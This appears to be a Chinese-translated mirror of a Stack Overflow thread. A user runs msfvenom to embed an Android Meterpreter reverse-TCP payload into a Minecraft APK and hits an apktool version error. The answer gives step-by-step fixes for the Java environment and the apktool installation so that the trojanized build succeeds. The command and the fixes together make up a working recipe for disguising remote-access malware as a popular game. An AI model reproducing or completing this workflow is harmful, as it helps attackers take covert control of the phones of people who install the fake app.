首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >问答首页 >格式错误的字符串号版本2.4.0当msfvenom -x

格式错误的字符串号版本2.4.0当msfvenom -x
EN

Stack Overflow用户
提问于 2020-02-16 15:51:52
回答 1查看 4K关注 0票数 1

仔细阅读

嗨,我使用的是Kali 2.0,我喜欢用它来调整(抱歉英语不好,但我是意大利人)。当我使用这个命令时:

代码语言:javascript
运行
复制
msfvenom -x minecraft.apk -p android/meterpreter/reverse_tcp LHOST=IP_ADDRESS LPORT=4444 -o mc.apk

它给了我:

代码语言:javascript
运行
复制
Using APK template: minecraft.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: Malformed version number string 2.4.0
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

我已经在所有论坛上搜索了几个星期了,但是,我没有找到解决方案。我重新安装了Kali,metasploit框架,jdk,apktool。什么都没发生。有什么解决办法吗?

EN

回答 1

Stack Overflow用户

发布于 2020-04-25 01:59:29

我一直在挣扎,找到了解决办法。看起来问题就在于apktool和java环境变量(但在您的例子中可能只是一个问题),我卸载了apktool &java的(jdk,jre),重新安装,通过终端更改了版本,但是没有工作。

第一期(_JAVA_OPTIONS) :

为了解决这个问题,我在github https://github.com/iBotPeaches/Apktool/issues/2325上读了一篇文章

若要暂时修复,请在尝试使用msfvenom的同一终端窗口中运行以下命令

代码语言:javascript
运行
复制
_SILENT_JAVA_OPTIONS="$_JAVA_OPTIONS"
unset _JAVA_OPTIONS
alias='java "$_SILENT_JAVA_OPTIONS"'

要永久修复它,请将上面的命令放在/root/.bashrc中(您必须检查视图选项卡中的显示隐藏文件)。

现在,上面的错误消息应该消失,如果apktool有问题,它将显示,无法用apktool重新构建apk。因此,要理解这一点,请阅读下面的内容:

第二个问题(Apktool)(无法用apktool重建apk ):

  1. 我发现在usr/local/sbin中缺少一个apktool文件。如果exists.
  2. Download linux包装器脚本https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
  3. Download最新apktool从https://bitbucket.org/iBotPeaches/apktool/downloads中删除apktool文件,并将其重命名为apktool.jar
  4. Now,将两个文件(linux包装脚本& apktool.jar)复制到终端中的/user/local/bin
  5. Type apktool,并验证

版本

对于那些第二个问题不能跟上步骤的人,去看这个修复https://youtu.be/vxs_fkUHnSw

票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/60250263

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档